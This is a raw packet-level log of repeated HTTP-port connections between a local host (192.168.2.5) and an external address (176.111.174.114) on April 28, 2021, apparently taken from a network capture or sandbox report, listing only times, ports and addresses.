Apr 28, 2021 23:23:05.608959913 CEST	49865	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.660516024 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.660624027 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.798650026 CEST	49866	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.798656940 CEST	49865	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.893874884 CEST	80	49865	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.894058943 CEST	49865	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.903072119 CEST	80	49866	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.903259993 CEST	49866	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:06.773214102 CEST	49866	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:06.878909111 CEST	80	49866	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:06.883177042 CEST	80	49866	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:06.883255959 CEST	49866	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:06.993714094 CEST	49866	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.001435995 CEST	49868	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.097867966 CEST	80	49866	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.098017931 CEST	49866	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.099246979 CEST	80	49868	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.099374056 CEST	49868	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.100596905 CEST	49868	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.198385954 CEST	80	49868	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.202435017 CEST	80	49868	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.202510118 CEST	49868	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.318003893 CEST	49868	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.319597960 CEST	49869	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.415600061 CEST	80	49868	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.415685892 CEST	49868	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.419315100 CEST	80	49869	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.419410944 CEST	49869	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.419987917 CEST	49869	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.519603968 CEST	80	49869	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.523045063 CEST	80	49869	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.523113012 CEST	49869	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.629889011 CEST	49869	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.631458998 CEST	49870	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.729640961 CEST	80	49869	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.729823112 CEST	49869	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.731129885 CEST	80	49870	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.731286049 CEST	49870	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.731904984 CEST	49870	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.831722021 CEST	80	49870	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.835052967 CEST	80	49870	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:07.835299015 CEST	49870	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.942934036 CEST	49870	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:07.944531918 CEST	49871	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.042751074 CEST	80	49870	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.042819977 CEST	49870	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.044393063 CEST	80	49871	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.044517040 CEST	49871	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.045094967 CEST	49871	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.144825935 CEST	80	49871	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.148983002 CEST	80	49871	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.149149895 CEST	49871	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.255531073 CEST	49871	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.258354902 CEST	49873	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.353451967 CEST	80	49873	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.353595018 CEST	49873	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.354235888 CEST	49873	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.355180025 CEST	80	49871	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.355273962 CEST	49871	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.450685978 CEST	80	49873	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.454524040 CEST	80	49873	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.454719067 CEST	49873	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.567084074 CEST	49873	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.568139076 CEST	49874	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.663319111 CEST	80	49873	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.663899899 CEST	49873	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.664515972 CEST	80	49874	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.664618015 CEST	49874	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.665283918 CEST	49874	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.761265993 CEST	80	49874	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.766290903 CEST	80	49874	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.766510010 CEST	49874	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.879822016 CEST	49874	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.881380081 CEST	49875	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.977516890 CEST	80	49875	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.977813959 CEST	49875	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.978208065 CEST	80	49874	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:08.978306055 CEST	49874	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:08.978709936 CEST	49875	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.073997974 CEST	80	49875	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.077270031 CEST	80	49875	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.077370882 CEST	49875	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.192631960 CEST	49875	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.193717003 CEST	49876	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.290332079 CEST	80	49876	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.290473938 CEST	80	49875	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.290520906 CEST	49876	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.290626049 CEST	49875	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.291344881 CEST	49876	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.366852045 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.386317968 CEST	80	49876	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.390376091 CEST	80	49876	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.390587091 CEST	49876	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.466350079 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.466562986 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.466916084 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.508485079 CEST	49876	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.509922028 CEST	49878	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.565119028 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.565162897 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.565180063 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.565196037 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.565330029 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.565378904 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.566248894 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.566277981 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.566292048 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.566308975 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.566359043 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.566420078 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.570339918 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.570389032 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.570569992 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.602417946 CEST	80	49876	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.602567911 CEST	49876	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.604301929 CEST	80	49878	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.604624987 CEST	49878	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.605175972 CEST	49878	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.663805008 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.663842916 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.663856983 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.663871050 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.663885117 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.663902044 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.663963079 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.664098978 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.666351080 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.666486025 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.670344114 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.670383930 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.670393944 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.670583963 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.670658112 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.699045897 CEST	80	49878	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.702929974 CEST	80	49878	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.703141928 CEST	49878	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.761539936 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.761579037 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.761590004 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.761600018 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.761686087 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.761836052 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.761904955 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.762001991 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.762048960 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.762064934 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.762180090 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.762193918 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.762295961 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.763834000 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.763854027 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.764014006 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.767831087 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.768047094 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.768095016 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.768192053 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.817292929 CEST	49878	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.818361998 CEST	49879	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.860981941 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.861116886 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.861346006 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.861463070 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.861550093 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.861800909 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.862565041 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.862638950 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.862673044 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.862844944 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.862883091 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.863573074 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.863888979 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.864263058 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.864516973 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.864638090 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.866641045 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.866691113 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.866729021 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.868458986 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.868729115 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.911252022 CEST	80	49878	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.911348104 CEST	49878	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.918181896 CEST	80	49879	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.918339968 CEST	49879	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.918993950 CEST	49879	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:09.966314077 CEST	80	49877	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:09.966455936 CEST	49877	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.018918037 CEST	80	49879	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.022425890 CEST	80	49879	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.022540092 CEST	49879	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.131266117 CEST	49879	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.132864952 CEST	49881	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.230346918 CEST	80	49881	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.230431080 CEST	80	49879	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.230564117 CEST	49881	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.230591059 CEST	49879	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.231261969 CEST	49881	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.329817057 CEST	80	49881	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.333333969 CEST	80	49881	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.333640099 CEST	49881	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.442235947 CEST	49881	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.443628073 CEST	49882	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.540909052 CEST	80	49881	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.541034937 CEST	49881	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.541399002 CEST	80	49882	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.541505098 CEST	49882	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.542156935 CEST	49882	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.639853954 CEST	80	49882	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.644695044 CEST	80	49882	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.646400928 CEST	49882	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.754757881 CEST	49882	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.756248951 CEST	49883	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.852269888 CEST	80	49882	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.853482962 CEST	80	49883	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.853600979 CEST	49882	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.853652000 CEST	49883	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.854646921 CEST	49883	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:10.953216076 CEST	80	49883	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.957705021 CEST	80	49883	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:10.957844973 CEST	49883	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.067842960 CEST	49883	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.069396973 CEST	49885	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.164647102 CEST	80	49883	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.164834976 CEST	49883	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.168572903 CEST	80	49885	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.168720007 CEST	49885	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.169398069 CEST	49885	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.269062042 CEST	80	49885	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.272999048 CEST	80	49885	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.273111105 CEST	49885	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.380769014 CEST	49885	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.383197069 CEST	49886	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.479888916 CEST	80	49885	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.480024099 CEST	49885	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.480853081 CEST	80	49886	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.481019974 CEST	49886	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.481703997 CEST	49886	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.579307079 CEST	80	49886	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.582637072 CEST	80	49886	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.582789898 CEST	49886	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.692707062 CEST	49886	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.694161892 CEST	49887	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.788599014 CEST	80	49887	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.788743973 CEST	49887	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.789985895 CEST	49887	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.790538073 CEST	80	49886	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.790678978 CEST	49886	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:11.890547991 CEST	80	49887	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.890580893 CEST	80	49887	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:11.890815020 CEST	49887	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.009419918 CEST	49887	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.010816097 CEST	49888	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.105624914 CEST	80	49887	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.105923891 CEST	49887	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.106374025 CEST	80	49888	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.106528997 CEST	49888	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.107110023 CEST	49888	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.202630997 CEST	80	49888	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.206041098 CEST	80	49888	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.206187010 CEST	49888	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.317179918 CEST	49888	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.322469950 CEST	49889	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.344090939 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.412931919 CEST	80	49888	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.413108110 CEST	49888	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.422125101 CEST	80	49889	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.422350883 CEST	49889	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.422960043 CEST	49889	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.444027901 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.444195986 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.444541931 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.524338961 CEST	80	49889	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.528192043 CEST	80	49889	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.528332949 CEST	49889	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.546039104 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.546144009 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.546156883 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.546216011 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.546483040 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.546544075 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.546580076 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.546629906 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.546768904 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.546822071 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.547079086 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.547135115 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.547161102 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.547220945 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.547297001 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.547363997 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.547621012 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.547684908 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.547905922 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.547962904 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.645621061 CEST	49889	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.646720886 CEST	49891	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.647265911 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.647284031 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.647295952 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.647362947 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.647407055 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.647613049 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.647627115 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.647639990 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.647700071 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.647732019 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.648174047 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.648188114 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.648202896 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.648288012 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.648780107 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.648793936 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.648807049 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.648818016 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.648864031 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.648904085 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.746623993 CEST	80	49889	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.746752977 CEST	49889	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.746767044 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.746783018 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.746872902 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.747045994 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.747064114 CEST	80	49891	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.747076035 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.747119904 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.747178078 CEST	49891	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.747193098 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.747205973 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.747227907 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.747337103 CEST	49890	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:12.747803926 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.747817993 CEST	80	49890	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:12.747826099 CEST	49891	80	192.168.2.5	176.111.174.114
